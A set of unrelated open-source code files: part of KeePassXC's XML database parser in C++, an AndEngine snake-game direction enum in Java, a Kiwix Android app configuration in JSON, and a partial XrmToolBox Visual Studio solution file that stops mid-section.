.arg(m_xml.errorString())
.arg(m_xml.lineNumber())
.arg(m_xml.columnNumber());
}
else {
return QString();
}
}
void KeePass2XmlReader::raiseError(const QString& errorMessage)
{
m_error = true;
m_errorStr = errorMessage;
}
QByteArray KeePass2XmlReader::headerHash()
{
return m_headerHash;
}
bool KeePass2XmlReader::parseKeePassFile()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "KeePassFile");
bool rootElementFound = false;
bool rootParsedSuccesfully = false;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Meta") {
parseMeta();
}
else if (m_xml.name() == "Root") {
if (rootElementFound) {
rootParsedSuccesfully = false;
raiseError("Multiple root elements");
}
else {
rootParsedSuccesfully = parseRoot();
rootElementFound = true;
}
}
else {
skipCurrentElement();
}
}
return rootParsedSuccesfully;
}
void KeePass2XmlReader::parseMeta()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Meta");
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Generator") {
m_meta->setGenerator(readString());
}
else if (m_xml.name() == "HeaderHash") {
m_headerHash = readBinary();
}
else if (m_xml.name() == "DatabaseName") {
m_meta->setName(readString());
}
else if (m_xml.name() == "DatabaseNameChanged") {
m_meta->setNameChanged(readDateTime());
}
else if (m_xml.name() == "DatabaseDescription") {
m_meta->setDescription(readString());
}
else if (m_xml.name() == "DatabaseDescriptionChanged") {
m_meta->setDescriptionChanged(readDateTime());
}
else if (m_xml.name() == "DefaultUserName") {
m_meta->setDefaultUserName(readString());
}
else if (m_xml.name() == "DefaultUserNameChanged") {
m_meta->setDefaultUserNameChanged(readDateTime());
}
else if (m_xml.name() == "MaintenanceHistoryDays") {
m_meta->setMaintenanceHistoryDays(readNumber());
}
else if (m_xml.name() == "Color") {
m_meta->setColor(readColor());
}
else if (m_xml.name() == "MasterKeyChanged") {
m_meta->setMasterKeyChanged(readDateTime());
}
else if (m_xml.name() == "MasterKeyChangeRec") {
m_meta->setMasterKeyChangeRec(readNumber());
}
else if (m_xml.name() == "MasterKeyChangeForce") {
m_meta->setMasterKeyChangeForce(readNumber());
}
else if (m_xml.name() == "MemoryProtection") {
parseMemoryProtection();
}
else if (m_xml.name() == "CustomIcons") {
parseCustomIcons();
}
else if (m_xml.name() == "RecycleBinEnabled") {
m_meta->setRecycleBinEnabled(readBool());
}
else if (m_xml.name() == "RecycleBinUUID") {
m_meta->setRecycleBin(getGroup(readUuid()));
}
else if (m_xml.name() == "RecycleBinChanged") {
m_meta->setRecycleBinChanged(readDateTime());
}
else if (m_xml.name() == "EntryTemplatesGroup") {
m_meta->setEntryTemplatesGroup(getGroup(readUuid()));
}
else if (m_xml.name() == "EntryTemplatesGroupChanged") {
m_meta->setEntryTemplatesGroupChanged(readDateTime());
}
else if (m_xml.name() == "LastSelectedGroup") {
m_meta->setLastSelectedGroup(getGroup(readUuid()));
}
else if (m_xml.name() == "LastTopVisibleGroup") {
m_meta->setLastTopVisibleGroup(getGroup(readUuid()));
}
else if (m_xml.name() == "HistoryMaxItems") {
int value = readNumber();
if (value >= -1) {
m_meta->setHistoryMaxItems(value);
}
else {
raiseError("HistoryMaxItems invalid number");
}
}
else if (m_xml.name() == "HistoryMaxSize") {
int value = readNumber();
if (value >= -1) {
m_meta->setHistoryMaxSize(value);
}
else {
raiseError("HistoryMaxSize invalid number");
}
}
else if (m_xml.name() == "Binaries") {
parseBinaries();
}
else if (m_xml.name() == "CustomData") {
parseCustomData();
}
else {
skipCurrentElement();
}
}
}
void KeePass2XmlReader::parseMemoryProtection()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "MemoryProtection");
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "ProtectTitle") {
m_meta->setProtectTitle(readBool());
}
else if (m_xml.name() == "ProtectUserName") {
m_meta->setProtectUsername(readBool());
}
else if (m_xml.name() == "ProtectPassword") {
m_meta->setProtectPassword(readBool());
}
else if (m_xml.name() == "ProtectURL") {
m_meta->setProtectUrl(readBool());
}
else if (m_xml.name() == "ProtectNotes") {
m_meta->setProtectNotes(readBool());
}
/*else if (m_xml.name() == "AutoEnableVisualHiding") {
m_meta->setAutoEnableVisualHiding(readBool());
}*/
else {
skipCurrentElement();
}
}
}
void KeePass2XmlReader::parseCustomIcons()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "CustomIcons");
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Icon") {
parseIcon();
}
else {
skipCurrentElement();
}
}
}
void KeePass2XmlReader::parseIcon()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Icon");
Uuid uuid;
QImage icon;
bool uuidSet = false;
bool iconSet = false;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "UUID") {
uuid = readUuid();
uuidSet = !uuid.isNull();
}
else if (m_xml.name() == "Data") {
icon.loadFromData(readBinary());
iconSet = true;
}
else {
skipCurrentElement();
}
}
if (uuidSet && iconSet) {
m_meta->addCustomIcon(uuid, icon);
}
else {
raiseError("Missing icon uuid or data");
}
}
void KeePass2XmlReader::parseBinaries()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Binaries");
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Binary") {
QXmlStreamAttributes attr = m_xml.attributes();
QString id = attr.value("ID").toString();
QByteArray data;
if (attr.value("Compressed").compare(QLatin1String("True"), Qt::CaseInsensitive) == 0) {
data = readCompressedBinary();
}
else {
data = readBinary();
}
if (m_binaryPool.contains(id)) {
qWarning("KeePass2XmlReader::parseBinaries: overwriting binary item \"%s\"",
qPrintable(id));
}
m_binaryPool.insert(id, data);
}
else {
skipCurrentElement();
}
}
}
void KeePass2XmlReader::parseCustomData()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "CustomData");
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Item") {
parseCustomDataItem();
}
else {
skipCurrentElement();
}
}
}
void KeePass2XmlReader::parseCustomDataItem()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Item");
QString key;
QString value;
bool keySet = false;
bool valueSet = false;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Key") {
key = readString();
keySet = true;
}
else if (m_xml.name() == "Value") {
value = readString();
valueSet = true;
}
else {
skipCurrentElement();
}
}
if (keySet && valueSet) {
m_meta->addCustomField(key, value);
}
else {
raiseError("Missing custom data key or value");
}
}
bool KeePass2XmlReader::parseRoot()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Root");
bool groupElementFound = false;
bool groupParsedSuccesfully = false;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Group") {
if (groupElementFound) {
groupParsedSuccesfully = false;
raiseError("Multiple group elements");
continue;
}
Group* rootGroup = parseGroup();
if (rootGroup) {
Group* oldRoot = m_db->rootGroup();
m_db->setRootGroup(rootGroup);
delete oldRoot;
groupParsedSuccesfully = true;
}
groupElementFound = true;
}
else if (m_xml.name() == "DeletedObjects") {
parseDeletedObjects();
}
else {
skipCurrentElement();
}
}
return groupParsedSuccesfully;
}
Group* KeePass2XmlReader::parseGroup()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Group");
Group* group = new Group();
group->setUpdateTimeinfo(false);
QList<Group*> children;
QList<Entry*> entries;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "UUID") {
Uuid uuid = readUuid();
if (uuid.isNull()) {
if (m_strictMode) {
raiseError("Null group uuid");
}
else {
group->setUuid(Uuid::random());
}
}
else {
group->setUuid(uuid);
}
}
else if (m_xml.name() == "Name") {
group->setName(readString());
}
else if (m_xml.name() == "Notes") {
group->setNotes(readString());
}
else if (m_xml.name() == "IconID") {
int iconId = readNumber();
if (iconId < 0) {
if (m_strictMode) {
raiseError("Invalid group icon number");
}
iconId = 0;
}
else {
if (iconId >= DatabaseIcons::IconCount) {
qWarning("KeePass2XmlReader::parseGroup: icon id \"%d\" not supported", iconId);
}
group->setIcon(iconId);
}
}
else if (m_xml.name() == "CustomIconUUID") {
Uuid uuid = readUuid();
if (!uuid.isNull()) {
group->setIcon(uuid);
}
}
else if (m_xml.name() == "Times") {
group->setTimeInfo(parseTimes());
}
else if (m_xml.name() == "IsExpanded") {
group->setExpanded(readBool());
}
else if (m_xml.name() == "DefaultAutoTypeSequence") {
group->setDefaultAutoTypeSequence(readString());
}
else if (m_xml.name() == "EnableAutoType") {
QString str = readString();
if (str.compare("null", Qt::CaseInsensitive) == 0) {
group->setAutoTypeEnabled(Group::Inherit);
}
else if (str.compare("true", Qt::CaseInsensitive) == 0) {
group->setAutoTypeEnabled(Group::Enable);
}
else if (str.compare("false", Qt::CaseInsensitive) == 0) {
group->setAutoTypeEnabled(Group::Disable);
}
else {
raiseError("Invalid EnableAutoType value");
}
}
else if (m_xml.name() == "EnableSearching") {
QString str = readString();
if (str.compare("null", Qt::CaseInsensitive) == 0) {
group->setSearchingEnabled(Group::Inherit);
}
else if (str.compare("true", Qt::CaseInsensitive) == 0) {
group->setSearchingEnabled(Group::Enable);
}
else if (str.compare("false", Qt::CaseInsensitive) == 0) {
group->setSearchingEnabled(Group::Disable);
}
else {
raiseError("Invalid EnableSearching value");
}
}
else if (m_xml.name() == "LastTopVisibleEntry") {
group->setLastTopVisibleEntry(getEntry(readUuid()));
}
else if (m_xml.name() == "Group") {
Group* newGroup = parseGroup();
if (newGroup) {
children.append(newGroup);
}
}
else if (m_xml.name() == "Entry") {
Entry* newEntry = parseEntry(false);
if (newEntry) {
entries.append(newEntry);
}
}
else {
skipCurrentElement();
}
}
if (group->uuid().isNull() && !m_strictMode) {
group->setUuid(Uuid::random());
}
if (!group->uuid().isNull()) {
Group* tmpGroup = group;
group = getGroup(tmpGroup->uuid());
group->copyDataFrom(tmpGroup);
group->setUpdateTimeinfo(false);
delete tmpGroup;
}
else if (!hasError()) {
raiseError("No group uuid found");
}
for (Group* child : asConst(children)) {
child->setParent(group);
}
for (Entry* entry : asConst(entries)) {
entry->setGroup(group);
}
return group;
}
void KeePass2XmlReader::parseDeletedObjects()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "DeletedObjects");
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "DeletedObject") {
parseDeletedObject();
}
else {
skipCurrentElement();
}
}
}
void KeePass2XmlReader::parseDeletedObject()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "DeletedObject");
DeletedObject delObj;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "UUID") {
Uuid uuid = readUuid();
if (uuid.isNull()) {
if (m_strictMode) {
raiseError("Null DeleteObject uuid");
}
}
else {
delObj.uuid = uuid;
}
}
else if (m_xml.name() == "DeletionTime") {
delObj.deletionTime = readDateTime();
}
else {
skipCurrentElement();
}
}
if (!delObj.uuid.isNull() && !delObj.deletionTime.isNull()) {
m_db->addDeletedObject(delObj);
}
else if (m_strictMode) {
raiseError("Missing DeletedObject uuid or time");
}
}
Entry* KeePass2XmlReader::parseEntry(bool history)
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Entry");
Entry* entry = new Entry();
entry->setUpdateTimeinfo(false);
QList<Entry*> historyItems;
QList<StringPair> binaryRefs;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "UUID") {
Uuid uuid = readUuid();
if (uuid.isNull()) {
if (m_strictMode) {
raiseError("Null entry uuid");
}
else {
entry->setUuid(Uuid::random());
}
}
else {
entry->setUuid(uuid);
}
}
else if (m_xml.name() == "IconID") {
int iconId = readNumber();
if (iconId < 0) {
if (m_strictMode) {
raiseError("Invalid entry icon number");
}
iconId = 0;
}
else {
entry->setIcon(iconId);
}
}
else if (m_xml.name() == "CustomIconUUID") {
Uuid uuid = readUuid();
if (!uuid.isNull()) {
entry->setIcon(uuid);
}
}
else if (m_xml.name() == "ForegroundColor") {
entry->setForegroundColor(readColor());
}
else if (m_xml.name() == "BackgroundColor") {
entry->setBackgroundColor(readColor());
}
else if (m_xml.name() == "OverrideURL") {
entry->setOverrideUrl(readString());
}
else if (m_xml.name() == "Tags") {
entry->setTags(readString());
}
else if (m_xml.name() == "Times") {
entry->setTimeInfo(parseTimes());
}
else if (m_xml.name() == "String") {
parseEntryString(entry);
}
else if (m_xml.name() == "Binary") {
QPair<QString, QString> ref = parseEntryBinary(entry);
if (!ref.first.isNull() && !ref.second.isNull()) {
binaryRefs.append(ref);
}
}
else if (m_xml.name() == "AutoType") {
parseAutoType(entry);
}
else if (m_xml.name() == "History") {
if (history) {
raiseError("History element in history entry");
}
else {
historyItems = parseEntryHistory();
}
}
else {
skipCurrentElement();
}
}
if (entry->uuid().isNull() && !m_strictMode) {
entry->setUuid(Uuid::random());
}
if (!entry->uuid().isNull()) {
if (history) {
entry->setUpdateTimeinfo(false);
}
else {
Entry* tmpEntry = entry;
entry = getEntry(tmpEntry->uuid());
entry->copyDataFrom(tmpEntry);
entry->setUpdateTimeinfo(false);
delete tmpEntry;
}
}
else if (!hasError()) {
raiseError("No entry uuid found");
}
for (Entry* historyItem : asConst(historyItems)) {
if (historyItem->uuid() != entry->uuid()) {
if (m_strictMode) {
raiseError("History element with different uuid");
} else {
historyItem->setUuid(entry->uuid());
}
}
entry->addHistoryItem(historyItem);
}
for (const StringPair& ref : asConst(binaryRefs)) {
m_binaryMap.insertMulti(ref.first, qMakePair(entry, ref.second));
}
return entry;
}
void KeePass2XmlReader::parseEntryString(Entry* entry)
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "String");
QString key;
QString value;
bool protect = false;
bool keySet = false;
bool valueSet = false;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Key") {
key = readString();
keySet = true;
}
else if (m_xml.name() == "Value") {
QXmlStreamAttributes attr = m_xml.attributes();
value = readString();
bool isProtected = attr.value("Protected") == "True";
bool protectInMemory = attr.value("ProtectInMemory") == "True";
if (isProtected && !value.isEmpty()) {
if (m_randomStream) {
QByteArray ciphertext = QByteArray::fromBase64(value.toLatin1());
bool ok;
QByteArray plaintext = m_randomStream->process(ciphertext, &ok);
if (!ok) {
value.clear();
raiseError(m_randomStream->errorString());
}
else {
value = QString::fromUtf8(plaintext);
}
}
else {
raiseError("Unable to decrypt entry string");
}
}
protect = isProtected || protectInMemory;
valueSet = true;
}
else {
skipCurrentElement();
}
}
if (keySet && valueSet) {
// the default attributes are always there so additionally check if it's empty
if (entry->attributes()->hasKey(key) && !entry->attributes()->value(key).isEmpty()) {
raiseError("Duplicate custom attribute found");
}
else {
entry->attributes()->set(key, value, protect);
}
}
else {
raiseError("Entry string key or value missing");
}
}
QPair<QString, QString> KeePass2XmlReader::parseEntryBinary(Entry* entry)
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Binary");
QPair<QString, QString> poolRef;
QString key;
QByteArray value;
bool keySet = false;
bool valueSet = false;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Key") {
key = readString();
keySet = true;
}
else if (m_xml.name() == "Value") {
QXmlStreamAttributes attr = m_xml.attributes();
if (attr.hasAttribute("Ref")) {
poolRef = qMakePair(attr.value("Ref").toString(), key);
m_xml.skipCurrentElement();
}
else {
// format compatibility
value = readBinary();
bool isProtected = attr.hasAttribute("Protected")
&& (attr.value("Protected") == "True");
if (isProtected && !value.isEmpty()) {
if (!m_randomStream->processInPlace(value)) {
raiseError(m_randomStream->errorString());
}
}
}
valueSet = true;
}
else {
skipCurrentElement();
}
}
if (keySet && valueSet) {
if (entry->attachments()->hasKey(key)) {
raiseError("Duplicate attachment found");
}
else {
entry->attachments()->set(key, value);
}
}
else {
raiseError("Entry binary key or value missing");
}
return poolRef;
}
void KeePass2XmlReader::parseAutoType(Entry* entry)
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "AutoType");
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Enabled") {
entry->setAutoTypeEnabled(readBool());
}
else if (m_xml.name() == "DataTransferObfuscation") {
entry->setAutoTypeObfuscation(readNumber());
}
else if (m_xml.name() == "DefaultSequence") {
entry->setDefaultAutoTypeSequence(readString());
}
else if (m_xml.name() == "Association") {
parseAutoTypeAssoc(entry);
}
else {
skipCurrentElement();
}
}
}
void KeePass2XmlReader::parseAutoTypeAssoc(Entry* entry)
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Association");
AutoTypeAssociations::Association assoc;
bool windowSet = false;
bool sequenceSet = false;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Window") {
assoc.window = readString();
windowSet = true;
}
else if (m_xml.name() == "KeystrokeSequence") {
assoc.sequence = readString();
sequenceSet = true;
}
else {
skipCurrentElement();
}
}
if (windowSet && sequenceSet) {
entry->autoTypeAssociations()->add(assoc);
}
else {
raiseError("Auto-type association window or sequence missing");
}
}
QList<Entry*> KeePass2XmlReader::parseEntryHistory()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "History");
QList<Entry*> historyItems;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Entry") {
historyItems.append(parseEntry(true));
}
else {
skipCurrentElement();
}
}
return historyItems;
}
TimeInfo KeePass2XmlReader::parseTimes()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Times");
TimeInfo timeInfo;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "LastModificationTime") {
timeInfo.setLastModificationTime(readDateTime());
}
else if (m_xml.name() == "CreationTime") {
timeInfo.setCreationTime(readDateTime());
}
else if (m_xml.name() == "LastAccessTime") {
timeInfo.setLastAccessTime(readDateTime());
}
else if (m_xml.name() == "ExpiryTime") {
timeInfo.setExpiryTime(readDateTime());
}
else if (m_xml.name() == "Expires") {
timeInfo.setExpires(readBool());
}
else if (m_xml.name() == "UsageCount") {
timeInfo.setUsageCount(readNumber());
}
else if (m_xml.name() == "LocationChanged") {
timeInfo.setLocationChanged(readDateTime());
}
else {
skipCurrentElement();
}
}
return timeInfo;
}
QString KeePass2XmlReader::readString()
{
return m_xml.readElementText();
}
bool KeePass2XmlReader::readBool()
{
QString str = readString();
if (str.compare("True", Qt::CaseInsensitive) == 0) {
return true;
}
else if (str.compare("False", Qt::CaseInsensitive) == 0) {
return false;
}
else {
raiseError("Invalid bool value");
return false;
}
}
QDateTime KeePass2XmlReader::readDateTime()
{
QString str = readString();
QDateTime dt = QDateTime::fromString(str, Qt::ISODate);
if (!dt.isValid()) {
if (m_strictMode) {
raiseError("Invalid date time value");
}
else {
dt = QDateTime::currentDateTimeUtc();
}
}
return dt;
}
QColor KeePass2XmlReader::readColor()
{
QString colorStr = readString();
if (colorStr.isEmpty()) {
return QColor();
}
if (colorStr.length() != 7 || colorStr[0] != '#') {
if (m_strictMode) {
raiseError("Invalid color value");
}
return QColor();
}
QColor color;
for (int i = 0; i <= 2; i++) {
QString rgbPartStr = colorStr.mid(1 + 2*i, 2);
bool ok;
int rgbPart = rgbPartStr.toInt(&ok, 16);
if (!ok || rgbPart > 255) {
if (m_strictMode) {
raiseError("Invalid color rgb part");
}
return QColor();
}
if (i == 0) {
color.setRed(rgbPart);
}
else if (i == 1) {
color.setGreen(rgbPart);
}
else {
color.setBlue(rgbPart);
}
}
return color;
}
int KeePass2XmlReader::readNumber()
{
bool ok;
int result = readString().toInt(&ok);
if (!ok) {
raiseError("Invalid number value");
}
return result;
}
Uuid KeePass2XmlReader::readUuid()
{
QByteArray uuidBin = readBinary();
if (uuidBin.isEmpty()) {
return Uuid();
}
else if (uuidBin.length() != Uuid::Length) {
if (m_strictMode) {
raiseError("Invalid uuid value");
}
return Uuid();
}
else {
return Uuid(uuidBin);
}
}
QByteArray KeePass2XmlReader::readBinary()
{
return QByteArray::fromBase64(readString().toLatin1());
}
QByteArray KeePass2XmlReader::readCompressedBinary()
{
QByteArray rawData = readBinary();
QBuffer buffer(&rawData);
buffer.open(QIODevice::ReadOnly);
QtIOCompressor compressor(&buffer);
compressor.setStreamFormat(QtIOCompressor::GzipFormat);
compressor.open(QIODevice::ReadOnly);
QByteArray result;
if (!Tools::readAllFromDevice(&compressor, result)) {
raiseError("Unable to decompress binary");
}
return result;
}
Group* KeePass2XmlReader::getGroup(const Uuid& uuid)
{
if (uuid.isNull()) {
return nullptr;
}
if (m_groups.contains(uuid)) {
return m_groups.value(uuid);
}
else {
Group* group = new Group();
group->setUpdateTimeinfo(false);
group->setUuid(uuid);
group->setParent(m_tmpParent);
m_groups.insert(uuid, group);
return group;
}
}
Entry* KeePass2XmlReader::getEntry(const Uuid& uuid)
{
if (uuid.isNull()) {
return nullptr;
}
if (m_entries.contains(uuid)) {
return m_entries.value(uuid);
}
else {
Entry* entry = new Entry();
entry->setUpdateTimeinfo(false);
entry->setUuid(uuid);
entry->setGroup(m_tmpParent);
m_entries.insert(uuid, entry);
return entry;
}
}
void KeePass2XmlReader::skipCurrentElement()
{
qWarning("KeePass2XmlReader::skipCurrentElement: skip element \"%s\"", qPrintable(m_xml.name().toString()));
m_xml.skipCurrentElement();
}
|
{
"pile_set_name": "Github"
}
|
package org.andengine.examples.game.snake.adt;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 02:29:05 - 08.07.2010
*/
public enum Direction {
// ===========================================================
// Elements
// ===========================================================
UP, DOWN, LEFT, RIGHT;
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static int addToX(final Direction pDirection, final int pX) {
switch(pDirection) {
case UP:
case DOWN:
return pX;
case LEFT:
return pX - 1;
case RIGHT:
return pX + 1;
default:
throw new IllegalArgumentException();
}
}
public static int addToY(final Direction pDirection, final int pY) {
switch(pDirection) {
case LEFT:
case RIGHT:
return pY;
case UP:
return pY - 1;
case DOWN:
return pY + 1;
default:
throw new IllegalArgumentException();
}
}
public static Direction opposite(final Direction pDirection) {
switch(pDirection) {
case UP:
return DOWN;
case DOWN:
return UP;
case LEFT:
return RIGHT;
case RIGHT:
return LEFT;
default:
return null;
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
|
{
"pile_set_name": "Github"
}
|
{
"app_name": "Medical Wikipedia",
"package": "org.kiwix.kiwixcustomwikimed",
"version_name": "2016-09",
"version_code": "7",
"zim_file": "content.zim",
"embed_zim": false,
"ic_launcher": "icon.png",
"enforced_lang": "en"
}
|
{
"pile_set_name": "Github"
}
|
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.27428.2015
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XrmToolBox", "XrmToolBox\XrmToolBox.csproj", "{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Plugins", "Plugins", "{1A7814D2-1185-484E-92CC-7DD71DDE6488}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MsCrmTools.SampleTool", "Plugins\MsCrmTools.SampleTool\MsCrmTools.SampleTool.csproj", "{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XrmToolBox.Extensibility", "XrmToolBox.Extensibility\XrmToolBox.Extensibility.csproj", "{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XrmToolBox.AutoUpdater", "XrmToolBox.AutoUpdater\XrmToolBox.AutoUpdater.csproj", "{564C72C8-586E-4218-B6B3-F464F7C3903A}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XrmToolBox.PluginsStore", "XrmToolBox.PluginsStore\XrmToolBox.PluginsStore.csproj", "{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "LicenseChecker", "LicenseChecker", "{08305693-A5D7-41FA-B476-20874647809B}"
ProjectSection(SolutionItems) = preProject
LicenseChecker\McTools.StopAdvertisement.dll = LicenseChecker\McTools.StopAdvertisement.dll
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|Mixed Platforms = Debug|Mixed Platforms
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|Mixed Platforms = Release|Mixed Platforms
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Debug|x86.ActiveCfg = Debug|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|Any CPU.Build.0 = Release|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|x86.ActiveCfg = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|x86.ActiveCfg = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|Any CPU.Build.0 = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|x86.ActiveCfg = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|x86.ActiveCfg = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|Any CPU.Build.0 = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|x86.ActiveCfg = Release|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Debug|x86.ActiveCfg = Debug|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Debug|x86.Build.0 = Debug|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Release|Any CPU.Build.0 = Release|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Release|x86.ActiveCfg = Release|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Release|x86.Build.0 = Release|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
